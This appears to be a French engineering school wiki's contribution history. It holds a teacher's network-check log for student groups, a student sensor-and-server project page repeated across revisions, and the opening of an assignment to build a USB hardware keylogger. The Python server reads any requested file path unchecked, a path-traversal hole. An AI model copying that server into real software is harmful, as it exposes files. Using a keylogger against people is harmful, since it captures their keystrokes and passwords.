| g7 || Jason Delannoy & Albin Mouton
| CV non configuré, machine non contactable en IPv6 sur le VLAN50
| machine non contactable en IPv6 sur le bridgeStudent
| pas d'adresse MAC dans le <code>.cfg</code>
|-
| g8 || Elias Simon & Mathis Riffaut
| CV non configuré, machine non contactable en IPv6 sur le VLAN50
| machine non contactable en IPv6 sur le bridgeStudents
| machine non contactable en IPv6 sur le SE5
|-
| g10 || Estelle Godard & Jeanne Delcourt
| IPv4 sur CV : 10.0.69.165, IPv4 sur VLAN50 : 172.26.145.121, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe7e:35e1, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle
| IPv4 sur CV : 10.0.69.132, IPv4 sur VLAN50 : 172.26.145.120, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:feb4:5ea3, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle
| IPv4 sur Internet : 193.48.57.191 (erreur !!), IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:feb4:5ea4, pas de connexion à Internet en IPv4
|-
| g11 || Karl Habre & Amine Sellali
| machine non contactable en IPv6 sur le VLAN50
| machine non contactable en IPv6 sur le bridgeStudents
| pas d'adresse MAC dans le <code>.cfg</code>
|-
| g12 || Mohammed Halaoui & Rémi Farault
| IPv4 sur CV : 10.0.69.131, IPv4 sur VLAN50 : 172.26.145.125, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe54:5aee, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle
| pas d'IPv4 sur le CV, IPv4 sur VLAN50 : 172.26.145.124, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe9a:5186, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle
| IPv4 sur Internet : 193.48.57.181, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:fe9a:5186, pas de connexion à Internet en IPv4
|-
|}

Pas de changement sur les routeurs OpenWRT à 17h30.

Pas de changement sur les MV d'<code>antifer</code> à 18h00.

Une seule modification sur les MV de <code>penfret</code> à 18h15 : la G7 (<code>g7jdelannoVM</code>) est maintenant contactable (@IPv4 et @IPv6 sur le VLAN50) mais sans rien de plus.

=== Contrôle au 06/12/2023 ===

Données brutes pour les routeurs openWRT (pas de relancement) :

G1 | IPv4 sur Internet : 193.48.57.191, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:fe7d:bc44, pas de connexion à Internet en IPv4
G2 | IPv4 sur Internet : 193.48.57.180, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:fe31:b916, connexion à Internet en IPv4 possible
G3 | IPv4 sur Internet : 193.48.57.184, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:feaa:f293, connexion à Internet en IPv4 possible
G4 | IPv4 sur Internet : 193.48.57.185, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:fec6:169, connexion à Internet en IPv4 possible
G5 | IPv4 sur Internet : 193.48.57.188, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:fe5b:b2b6, connexion à Internet en IPv4 possible
G6 | IPv4 sur Internet : 193.48.57.187, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:fef9:2bba, connexion à Internet en IPv4 possible
G7 | Bad MAC address
G8 | machine non contactable en IPv6 sur le SE5
G9 | Rien
G10 | IPv4 sur Internet : 193.48.57.186, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:feb4:5ea4, pas de connexion à Internet en IPv4
G11 | machine non contactable en IPv6 sur le SE5
G12 | IPv4 sur Internet : 193.48.57.181, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:fe9a:5186, pas de connexion à Internet en IPv4

Données brutes pour les MV sur <code>antifer</code> :

==== g1kpatrikeevVM
| IPv4 sur CV : 10.0.69.218, IPv4 sur VLAN50 : 172.26.145.102, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe7d:bc44, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle
==== g2clemair1VM
| IPv4 sur CV : 10.0.69.145, IPv4 sur VLAN50 : 172.26.145.104, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe31:b916, connexion à Internet en IPv4 possible, resolution DNS fonctionnelle
==== g3tbrenierVM
| IPv4 sur CV : 10.0.69.167, IPv4 sur VLAN50 : 172.26.145.106, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:feaa:f292, connexion à Internet en IPv4 possible, pas de résolution DNS fonctionnelle
==== g4fnaudotVM
| IPv4 sur CV : 10.0.69.106, IPv4 sur VLAN50 : 172.26.145.108, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fec6:168, connexion à Internet en IPv4 possible, pas de résolution DNS fonctionnelle
==== g5mdelabyVM
| IPv4 sur CV : 10.0.69.171, IPv4 sur VLAN50 : 172.26.145.110, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe5b:b2b5, connexion à Internet en IPv4 possible, resolution DNS fonctionnelle
==== g6bblackVM
| IPv4 sur CV : 10.0.69.113, IPv4 sur VLAN50 : 172.26.145.112, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe4a:d2be, connexion à Internet en IPv4 possible, resolution DNS fonctionnelle
==== g7amoutonVM
| pas d'IPv4 sur le CV, IPv4 sur VLAN50 : 172.26.145.114, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe59:7616, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle
==== g8esimonVM
| machine non contactable en IPv6 sur le bridgeStudents
==== g10egodardVM
| IPv4 sur CV : 10.0.69.132, IPv4 sur VLAN50 : 172.26.145.120, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:feb4:5ea3, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle
==== g11asellaliVM
| machine non contactable en IPv6 sur le bridgeStudents
==== g12mhalaouiVM
| pas d'IPv4 sur le CV, IPv4 sur VLAN50 : 172.26.145.124, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe9a:5186, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle

Données brutes pour les MV sur <code>penfret</code> :

==== g1jcharleuxVM
| IPv4 sur CV : 10.0.69.185, IPv4 sur VLAN50 : 172.126.145.103, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe00:a98d, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle
==== g2gthomasVM
| IPv4 sur CV : 10.0.69.212, IPv4 sur VLAN50 : 172.26.145.105, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fedb:2ac4, connexion à Internet en IPv4 possible, pas de résolution DNS fonctionnelle
==== g3bnguyen1VM
| IPv4 sur CV : 10.0.69.130, IPv4 sur VLAN50 : 172.26.145.107, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:feff:4c44, connexion à Internet en IPv4 possible, résolution DNS fonctionnelle
==== g4drodenbuVM
| IPv4 sur CV : 10.0.69.156, IPv4 sur VLAN50 : 172.26.145.109, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe46:70cd, connexion à Internet en IPv4 possible, pas de résolution DNS fonctionnelle
==== g5pamorosVM
| IPv4 sur CV : 10.0.69.189, IPv4 sur VLAN50 : 172.26.145.111, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe14:cdb5, connexion à Internet en IPv4 possible, pas de résolution DNS fonctionnelle
==== g6hblgrimVM
| IPv4 sur CV : 10.0.69.100, IPv4 sur VLAN50 : 172.26.145.113, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fef9:2bb9, connexion à Internet en IPv4 possible, résolution DNS fonctionnelle
==== g7jdelannoVM
| pas d'IPv4 sur le CV, IPv4 sur VLAN50 : 172.26.145.115, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe0f:aba1, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle
==== g8mriffautVM
| machine non contactable en IPv6 sur le VLAN50
==== g10jdelcourVM
| IPv4 sur CV : 10.0.69.165, IPv4 sur VLAN50 : 172.26.145.121, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe7e:35e1, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle
==== g11khabreVM
| machine non contactable en IPv6 sur le VLAN50
==== g12rfaraultVM
| IPv4 sur CV : 10.0.69.131, IPv4 sur VLAN50 : 172.26.145.125, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe54:5aee, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle

Trois groupes finissent à 17h : G2, G5 et G7.

Un groupe à 17h20 : G6.

Un groupe à 17h40 : G10.

Le reste :

G8 -> installation du conteneur synapse
G3 -> erreur à la connexion de la base de données, encodage ASCII
G4 -> création de la base de données
G12 -> problème à l'exécution du conteneur
G11 -> essayent d'installer le conteneur synapse sur la zabeth
G13 -> installation du mandataire inverse (reverse proxy nginx)
G1 -> installation du conteneur synapse, se lance mais en échec

G13 n'a pas mis à jour le tableau de répartition.

SE5 ECEAI/eceai 2023/2024/Brenier-Nguyen

2023-12-20T16:57:19Z

Bnguyen1 : /* Flash du capteur sur le logiciel STM32CubeIDE */

* Séance 1 :
** Création et configuration de la VM sur Chassiron
** Installation de NanoEdge
** Installation de STM32cube
** Installation de l'OS pour la Raspberry dans la carte micro SD
** Prise en main de Nanoedge, de nucléo et de STM32cube
** Début de réflexion sur l'application (métrologie)
*Séance 2:
**Mise en place du serveur python
**Mise en place du client python
**Test réussi de communication entre client et serveur via http
**Programmation de la carte nucléo pour transfert de valeur via liaison série
**Suite réflexion sur l'application (reconnaissance alphabet langue des signes, mouvement)
**Choix de l'application : reconnaissance d'objets appliqué aux fournitures scolaires
**Entraînement des modèles pour les différentes applications cités précédemment
**Finalement : entraînement à la reconnaissance d'objets de fournitures scolaires
*Séance 3:
**Entraînement d'un nouveau modèle.
**Écriture d'un programme permettant de récupérer les données du capteur et de les écrire dans un fichier.
*Séance 4 :
**Essai d'utilisation de la librairie créée grâce à Nanoedge.
**Amélioration du programme python permettant de récupérer les données du capteur.
***Création d'un fichier .txt afin de stocker les données du capteur toutes les minutes.
***Destruction automatique des fichiers de données ayant été crée il y a plus de 10 minutes.
**L’émulateur de la librairie ne fonctionne pas s'il est exécuté dans la raspberry... Nous l'exécutons désormais directement dans notre VM.
**Pour cela nous avons adapter notre programme python afin de récupérer les données à partir d'un json pour traiter ces données dans la VM.
***Création d'un fichier toutes les minutes (contenant au format json la date et les données au format csv)

Code du serveur Python :<syntaxhighlight lang="python3">
from http.server import HTTPServer, BaseHTTPRequestHandler

import json

import socket

# Stocker les requ tes POST re ues

post_requests = []

class CustomHTTPHandler(BaseHTTPRequestHandler):

def do_GET(self):

if self.path == '/':

self.path = '/index.html'

if self.path == '/data':

self.send_response(200)

self.send_header('Content-type', 'application/json')

self.end_headers()

self.wfile.write(bytes(json.dumps(post_requests), 'utf-8'))

return

if self.path == '/index.html':

self.send_response(200)

self.send_header('Content-type', 'text/html')

self.end_headers()

# Cr er le contenu HTML avec les donn es POST

content = '<html><body><h1>Donn es POST:</h1><ul>'

for item in post_requests:

content += f'<li>{item}</li>'

content += '</ul></body></html>'

self.wfile.write(content.encode('utf-8'))

return

try:

file_to_open = open(self.path[1:]).read()

self.send_response(200)

self.send_header('Content-type', 'text/html')

self.end_headers()

self.wfile.write(bytes(file_to_open, 'utf-8'))

except FileNotFoundError:

self.send_error(404, 'File Not Found: %s' % self.path)

def do_POST(self):

content_length = int(self.headers['Content-Length'])

post_data = self.rfile.read(content_length).decode('utf-8')

# Ajouter les donn es POST la liste

post_requests.append(post_data)

# Envoyer une rponse HTTP

self.send_response(200)

self.end_headers()

self.wfile.write(b"POST request processed")

class HTTPServerV6(HTTPServer):

address_family = socket.AF_INET6

if __name__ == '__main__':

server_address = ('::', 8888) # ^icoute sur toutes les interfaces IPv6, p>

httpd = HTTPServerV6(server_address, CustomHTTPHandler)

print("Serveur actif sur le port", 8888)

httpd.serve_forever()
</syntaxhighlight>'''Code du client Python :'''<syntaxhighlight lang="python3">
import argparse
import requests
import json

def send_json_to_server(url, json_file):
# Charger les données CSV depuis le fichier spécifié
with open(json_file, 'r') as file:
data = json.load(file)

# En-têtes spécifiant que vous envoyez du CSV
headers = {'Content-Type': 'application/json'}

# Envoie de la requête HTTP POST avec les données
response = requests.post(url, data=json.dumps(data), headers=headers)

# Vérification de la réponse
if response.status_code == 200:
print('Requête envoyée avec succès!')
else:
print(f'Erreur {response.status_code}: {response.text}')

if __name__ == "__main__":
# Configurer les arguments en ligne de commande
parser = argparse.ArgumentParser(description='Client Python pour envoyer des JSON via HTTP.')
parser.add_argument('url', type=str, help='URL du serveur')
parser.add_argument('json_file', type=str, help='Chemin vers le fichier JSON à envoyer')

# Analyser les arguments
args = parser.parse_args()

# Appeler la fonction pour envoyer le JSON au serveur
send_json_to_server(args.url, args.json_file)
</syntaxhighlight>'''Index permettant d'afficher le json de test que nous avons envoyé au serveur :'''<syntaxhighlight lang="html">
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Page d'Accueil</title>
</head>
<body>
<h1>Bienvenue sur Mon Serveur</h1>
<h2>Données POST reçues:</h2>
<ul id="data">

</ul>
</body>
</html>

</syntaxhighlight>'''Capture montrant l'affichage d'un fichier json (sans aucun sens) envoyé au serveur depuis le client :'''
[[Fichier:CaptureIndexBrenierNguyen.png|vignette|Démonstration du protocole HTTP]]

== Flash du capteur sur le logiciel STM32CubeIDE ==
Le code ci-dessous est la fonction qui est appelé pour le traitement des capteurs. Nous avions décidé de définir le délimiteur de donnée avec un espace.

Ci-dessous, on retrouve de la ligne 8 à 12 la configuration du capteur que l'on a défini sur un quadrillage de 8 x 8.<syntaxhighlight lang="c" line="1">
static void MX_53L5A1_SimpleRanging_Process(void)
{
uint32_t Id;

VL53L5A1_RANGING_SENSOR_ReadID(VL53L5A1_DEV_CENTER, &Id);
VL53L5A1_RANGING_SENSOR_GetCapabilities(VL53L5A1_DEV_CENTER, &Cap);

Profile.RangingProfile = RS_PROFILE_8x8_CONTINUOUS;
Profile.TimingBudget = TIMING_BUDGET; /* 5 ms < TimingBudget < 100 ms */
Profile.Frequency = RANGING_FREQUENCY; /* Ranging frequency Hz (shall be consistent with TimingBudget value) */
Profile.EnableAmbient = 0; /* Enable: 1, Disable: 0 */
Profile.EnableSignal = 0; /* Enable: 1, Disable: 0 */

/* set the profile if different from default one */
VL53L5A1_RANGING_SENSOR_ConfigProfile(VL53L5A1_DEV_CENTER, &Profile);

status = VL53L5A1_RANGING_SENSOR_Start(VL53L5A1_DEV_CENTER, RS_MODE_BLOCKING_CONTINUOUS);

if (status != BSP_ERROR_NONE)
{
printf("VL53L5A1_RANGING_SENSOR_Start failed\n");
while (1);
}

while (1)
{
/* polling mode */
status = VL53L5A1_RANGING_SENSOR_GetDistance(VL53L5A1_DEV_CENTER, &Result);

if (status == BSP_ERROR_NONE)
{
//print_result(&Result);
print_result_IE(&Result);
}

if (com_has_data())
{
handle_cmd(get_key());
}

HAL_Delay(POLLING_PERIOD);
}
}
</syntaxhighlight>Le code ci-dessous est la fonction qui nous permet d'afficher les données des capteurs via la liaison série.

On observe l'envoie des données avec un séparateur 'espace', puis lorsque les valeurs semblent incohérentes du point de vue du capteur, on envoie arbitrairement un -1 en sortie.

On obtient un jeu de donnée suivant le format : value espace value esapce .... value espace retour chariot (pour chaque lignes/quadrillage sur une ligne)<syntaxhighlight lang="c">
static void print_result_IE(RANGING_SENSOR_Result_t *Result)
{
int8_t j;
int8_t k;
int8_t l;
uint8_t zones_per_line;

zones_per_line = ((Profile.RangingProfile == RS_PROFILE_8x8_AUTONOMOUS) ||
(Profile.RangingProfile == RS_PROFILE_8x8_CONTINUOUS)) ? 8 : 4;

for (j = 0; j < Result->NumberOfZones; j += zones_per_line)
{
for (l = 0; l < RANGING_SENSOR_NB_TARGET_PER_ZONE; l++)
{
/* Print distance and status */
for (k = (zones_per_line - 1); k >= 0; k--)
{
if (Result->ZoneResult[j+k].NumberOfTargets > 0)
printf("%ld ",(long)Result->ZoneResult[j+k].Distance[l]);
else
printf("%ld ", -1);
}
}
}
printf("\n");
}
</syntaxhighlight>

== Code de récupération de donnée (sur la raspberry) ==
Nous avons le scénario suivant : le capteur qui envoie en continue les données de distance à la raspberry via la liaison série.

Nous avons donc écrit un script python afin de récupérer ces données, les formatter dans un fichier format json dans le but de les envoyer sur la VM qui pourra traiter ces données avec l'émulateur obtenue via l'application NanoEdgeAI Studio.

Nous allons vous expliquez le script que nous avons réalisés :<syntaxhighlight lang="python3" line="1">
import serial
from threading import Thread, Event
from time import sleep
import os, sys, signal
import datetime
import glob

interruptAllEvent = Event()

def serial_thread(ser: serial) -> None:
fileName_old = os.path.dirname(__file__) + "/data/sensor_data_start"
while (1):
if (interruptAllEvent.is_set()):
break
fileName = os.path.dirname(__file__) + "/data/sensor_data_" + datetime.datetime.now().strftime("%d_%m_%Y__%H_%M_00") + ".json"

if (fileName_old != fileName):
with open(fileName_old, "a") as fichier:
fichier.write("\"}")

string = str(ser.readline(), encoding='utf-8')

with open(fileName, "a") as fichier:
if (fileName_old != fileName):
fileName_old = fileName
fichier.write("{\"date\":\""+datetime.datetime.now().strftime("%d/%m/%Y-%H:%M:00")+"\",\"csv_file\":\"")

fichier.write(string)

def signal_handler(sig, frame):
interruptAllEvent.set()
return

def main() -> None:
ser = serial.Serial('/dev/ttyACM0', 460800)
thread = Thread(target=serial_thread, args=(ser,))

thread.start()

signal.signal(signal.SIGINT, signal_handler)

sleep(5)
os.remove(os.path.dirname(__file__) + "/data/sensor_data_start")

while (1):
if interruptAllEvent.is_set():
thread.join()
break

sleep(5)

minute = datetime.datetime.now().minute - 1
hours = datetime.datetime.now().hour
if (minute < 0):
minute = minute + 60
hours = hours - 1
try:
with open(os.path.dirname(__file__) + "/data/sensor_data_" + datetime.datetime.now().strftime("%d_%m_%Y__") + str(hours) + "_" + str(minute) + "_00.json", "r+") as fichier:
line = fichier.read()
str(line).replace('\n','\\\n')
fichier.write(line)
except FileNotFoundError:
sleep(60)

file_to_keep = []
for i in range(0,10):
minute = datetime.datetime.now().minute - i
hours = datetime.datetime.now().hour
if (minute < 0):
minute = minute + 60
hours = hours - 1
path_string = os.path.dirname(__file__) + "/data/sensor_data_" + datetime.datetime.now().strftime("%d_%m_%Y__") + str(hours) + "_" + str(minute) + "_00.json"
file_to_keep.append(path_string)

files = glob.glob(os.path.dirname(__file__) + "/data/*")

files_to_remove = []

for file_name in files:
beRemoved = True
for f_keep in file_to_keep:
if file_name == f_keep:
beRemoved = False
break
if beRemoved:
files_to_remove.append(file_name)

for file_name in files_to_remove:
os.remove(file_name)

if __name__ == '__main__':
main()

</syntaxhighlight>

SE5 ECEAI/eceai 2023/2024/Brenier-Nguyen

2023-12-20T16:53:01Z

Bnguyen1 :

* Séance 1 :
** Création et configuration de la VM sur Chassiron
** Installation de NanoEdge
** Installation de STM32cube
** Installation de l'OS pour la Raspberry dans la carte micro SD
** Prise en main de Nanoedge, de nucléo et de STM32cube
** Début de réflexion sur l'application (métrologie)
*Séance 2:
**Mise en place du serveur python
**Mise en place du client python
**Test réussi de communication entre client et serveur via http
**Programmation de la carte nucléo pour transfert de valeur via liaison série
**Suite réflexion sur l'application (reconnaissance alphabet langue des signes, mouvement)
**Choix de l'application : reconnaissance d'objets appliqué aux fournitures scolaires
**Entraînement des modèles pour les différentes applications cités précédemment
**Finalement : entraînement à la reconnaissance d'objets de fournitures scolaires
*Séance 3:
**Entraînement d'un nouveau modèle.
**Écriture d'un programme permettant de récupérer les données du capteur et de les écrire dans un fichier.
*Séance 4 :
**Essai d'utilisation de la librairie créée grâce à Nanoedge.
**Amélioration du programme python permettant de récupérer les données du capteur.
***Création d'un fichier .txt afin de stocker les données du capteur toutes les minutes.
***Destruction automatique des fichiers de données ayant été crée il y a plus de 10 minutes.
**L’émulateur de la librairie ne fonctionne pas s'il est exécuté dans la raspberry... Nous l'exécutons désormais directement dans notre VM.
**Pour cela nous avons adapter notre programme python afin de récupérer les données à partir d'un json pour traiter ces données dans la VM.
***Création d'un fichier toutes les minutes (contenant au format json la date et les données au format csv)

Code du serveur Python :<syntaxhighlight lang="python3">
from http.server import HTTPServer, BaseHTTPRequestHandler

import json

import socket

# Stocker les requ tes POST re ues

post_requests = []

class CustomHTTPHandler(BaseHTTPRequestHandler):

def do_GET(self):

if self.path == '/':

self.path = '/index.html'

if self.path == '/data':

self.send_response(200)

self.send_header('Content-type', 'application/json')

self.end_headers()

self.wfile.write(bytes(json.dumps(post_requests), 'utf-8'))

return

if self.path == '/index.html':

self.send_response(200)

self.send_header('Content-type', 'text/html')

self.end_headers()

# Cr er le contenu HTML avec les donn es POST

content = '<html><body><h1>Donn es POST:</h1><ul>'

for item in post_requests:

content += f'<li>{item}</li>'

content += '</ul></body></html>'

self.wfile.write(content.encode('utf-8'))

return

try:

file_to_open = open(self.path[1:]).read()

self.send_response(200)

self.send_header('Content-type', 'text/html')

self.end_headers()

self.wfile.write(bytes(file_to_open, 'utf-8'))

except FileNotFoundError:

self.send_error(404, 'File Not Found: %s' % self.path)

def do_POST(self):

content_length = int(self.headers['Content-Length'])

post_data = self.rfile.read(content_length).decode('utf-8')

# Ajouter les donn es POST la liste

post_requests.append(post_data)

# Envoyer une rponse HTTP

self.send_response(200)

self.end_headers()

self.wfile.write(b"POST request processed")

class HTTPServerV6(HTTPServer):

address_family = socket.AF_INET6

if __name__ == '__main__':

server_address = ('::', 8888) # ^icoute sur toutes les interfaces IPv6, p>

httpd = HTTPServerV6(server_address, CustomHTTPHandler)

print("Serveur actif sur le port", 8888)

httpd.serve_forever()
</syntaxhighlight>'''Code du client Python :'''<syntaxhighlight lang="python3">
import argparse
import requests
import json

def send_json_to_server(url, json_file):
# Charger les données CSV depuis le fichier spécifié
with open(json_file, 'r') as file:
data = json.load(file)

# En-têtes spécifiant que vous envoyez du CSV
headers = {'Content-Type': 'application/json'}

# Envoie de la requête HTTP POST avec les données
response = requests.post(url, data=json.dumps(data), headers=headers)

# Vérification de la réponse
if response.status_code == 200:
print('Requête envoyée avec succès!')
else:
print(f'Erreur {response.status_code}: {response.text}')

if __name__ == "__main__":
# Configurer les arguments en ligne de commande
parser = argparse.ArgumentParser(description='Client Python pour envoyer des JSON via HTTP.')
parser.add_argument('url', type=str, help='URL du serveur')
parser.add_argument('json_file', type=str, help='Chemin vers le fichier JSON à envoyer')

# Analyser les arguments
args = parser.parse_args()

# Appeler la fonction pour envoyer le JSON au serveur
send_json_to_server(args.url, args.json_file)
</syntaxhighlight>'''Index permettant d'afficher le json de test que nous avons envoyé au serveur :'''<syntaxhighlight lang="html">
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Page d'Accueil</title>
</head>
<body>
<h1>Bienvenue sur Mon Serveur</h1>
<h2>Données POST reçues:</h2>
<ul id="data">

</ul>
</body>
</html>

</syntaxhighlight>'''Capture montrant l'affichage d'un fichier json (sans aucun sens) envoyé au serveur depuis le client :'''
[[Fichier:CaptureIndexBrenierNguyen.png|vignette|Démonstration du protocole HTTP]]

== Flash du capteur sur le logiciel STM32CubeIDE ==
Le code ci-dessous est la fonction qui est appelé pour le traitement des capteurs.<syntaxhighlight lang="c">
static void MX_53L5A1_SimpleRanging_Process(void)
{
uint32_t Id;

VL53L5A1_RANGING_SENSOR_ReadID(VL53L5A1_DEV_CENTER, &Id);
VL53L5A1_RANGING_SENSOR_GetCapabilities(VL53L5A1_DEV_CENTER, &Cap);

Profile.RangingProfile = RS_PROFILE_8x8_CONTINUOUS;
Profile.TimingBudget = TIMING_BUDGET; /* 5 ms < TimingBudget < 100 ms */
Profile.Frequency = RANGING_FREQUENCY; /* Ranging frequency Hz (shall be consistent with TimingBudget value) */
Profile.EnableAmbient = 0; /* Enable: 1, Disable: 0 */
Profile.EnableSignal = 0; /* Enable: 1, Disable: 0 */

/* set the profile if different from default one */
VL53L5A1_RANGING_SENSOR_ConfigProfile(VL53L5A1_DEV_CENTER, &Profile);

status = VL53L5A1_RANGING_SENSOR_Start(VL53L5A1_DEV_CENTER, RS_MODE_BLOCKING_CONTINUOUS);

if (status != BSP_ERROR_NONE)
{
printf("VL53L5A1_RANGING_SENSOR_Start failed\n");
while (1);
}

while (1)
{
/* polling mode */
status = VL53L5A1_RANGING_SENSOR_GetDistance(VL53L5A1_DEV_CENTER, &Result);

if (status == BSP_ERROR_NONE)
{
//print_result(&Result);
print_result_IE(&Result);
}

if (com_has_data())
{
handle_cmd(get_key());
}

HAL_Delay(POLLING_PERIOD);
}
}
</syntaxhighlight>Le code ci-dessous est la fonction qui nous permet d'afficher les données des capteurs via la liaison série.<syntaxhighlight lang="c">
static void print_result_IE(RANGING_SENSOR_Result_t *Result)
{
int8_t j;
int8_t k;
int8_t l;
uint8_t zones_per_line;

zones_per_line = ((Profile.RangingProfile == RS_PROFILE_8x8_AUTONOMOUS) ||
(Profile.RangingProfile == RS_PROFILE_8x8_CONTINUOUS)) ? 8 : 4;

for (j = 0; j < Result->NumberOfZones; j += zones_per_line)
{
for (l = 0; l < RANGING_SENSOR_NB_TARGET_PER_ZONE; l++)
{
/* Print distance and status */
for (k = (zones_per_line - 1); k >= 0; k--)
{
if (Result->ZoneResult[j+k].NumberOfTargets > 0)
printf("%ld ",(long)Result->ZoneResult[j+k].Distance[l]);
else
printf("%ld ", -1);
}
}
}
printf("\n");
}
</syntaxhighlight>

== Code de récupération de donnée (sur la raspberry) ==
Nous avons le scénario suivant : le capteur qui envoie en continue les données de distance à la raspberry via la liaison série.

Nous avons donc écrit un script python afin de récupérer ces données, les formatter dans un fichier format json dans le but de les envoyer sur la VM qui pourra traiter ces données avec l'émulateur obtenue via l'application NanoEdgeAI Studio.

Nous allons vous expliquez le script que nous avons réalisés :<syntaxhighlight lang="python3" line="1">
import serial
from threading import Thread, Event
from time import sleep
import os, sys, signal
import datetime
import glob

interruptAllEvent = Event()

def serial_thread(ser: serial) -> None:
fileName_old = os.path.dirname(__file__) + "/data/sensor_data_start"
while (1):
if (interruptAllEvent.is_set()):
break
fileName = os.path.dirname(__file__) + "/data/sensor_data_" + datetime.datetime.now().strftime("%d_%m_%Y__%H_%M_00") + ".json"

if (fileName_old != fileName):
with open(fileName_old, "a") as fichier:
fichier.write("\"}")

string = str(ser.readline(), encoding='utf-8')

with open(fileName, "a") as fichier:
if (fileName_old != fileName):
fileName_old = fileName
fichier.write("{\"date\":\""+datetime.datetime.now().strftime("%d/%m/%Y-%H:%M:00")+"\",\"csv_file\":\"")

fichier.write(string)

def signal_handler(sig, frame):
interruptAllEvent.set()
return

def main() -> None:
ser = serial.Serial('/dev/ttyACM0', 460800)
thread = Thread(target=serial_thread, args=(ser,))

thread.start()

signal.signal(signal.SIGINT, signal_handler)

sleep(5)
os.remove(os.path.dirname(__file__) + "/data/sensor_data_start")

while (1):
if interruptAllEvent.is_set():
thread.join()
break

sleep(5)

minute = datetime.datetime.now().minute - 1
hours = datetime.datetime.now().hour
if (minute < 0):
minute = minute + 60
hours = hours - 1
try:
with open(os.path.dirname(__file__) + "/data/sensor_data_" + datetime.datetime.now().strftime("%d_%m_%Y__") + str(hours) + "_" + str(minute) + "_00.json", "r+") as fichier:
line = fichier.read()
str(line).replace('\n','\\\n')
fichier.write(line)
except FileNotFoundError:
sleep(60)

file_to_keep = []
for i in range(0,10):
minute = datetime.datetime.now().minute - i
hours = datetime.datetime.now().hour
if (minute < 0):
minute = minute + 60
hours = hours - 1
path_string = os.path.dirname(__file__) + "/data/sensor_data_" + datetime.datetime.now().strftime("%d_%m_%Y__") + str(hours) + "_" + str(minute) + "_00.json"
file_to_keep.append(path_string)

files = glob.glob(os.path.dirname(__file__) + "/data/*")

files_to_remove = []

for file_name in files:
beRemoved = True
for f_keep in file_to_keep:
if file_name == f_keep:
beRemoved = False
break
if beRemoved:
files_to_remove.append(file_name)

for file_name in files_to_remove:
os.remove(file_name)

if __name__ == '__main__':
main()

</syntaxhighlight>

SE5 ECEAI/eceai 2023/2024/Brenier-Nguyen

2023-12-20T14:38:57Z

Bnguyen1 :

SE5 système/réseau 2023/2024

2023-10-16T12:11:29Z

Bnguyen1 : /* Répartition des binômes en ASR */

SE5 système/réseau 2023/2024

2023-10-06T14:08:11Z

Bnguyen1 :

SE4 2022/2023 EC5

2023-08-16T17:12:25Z

Bnguyen1 : /* Modification du Keylogger */

= Objectifs =

Il vous est demandé de :
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,
** une mémoire flash pour pouvoir sauver les touches capturées ;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.

= Matériel nécessaire =

Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.

[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]

Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.

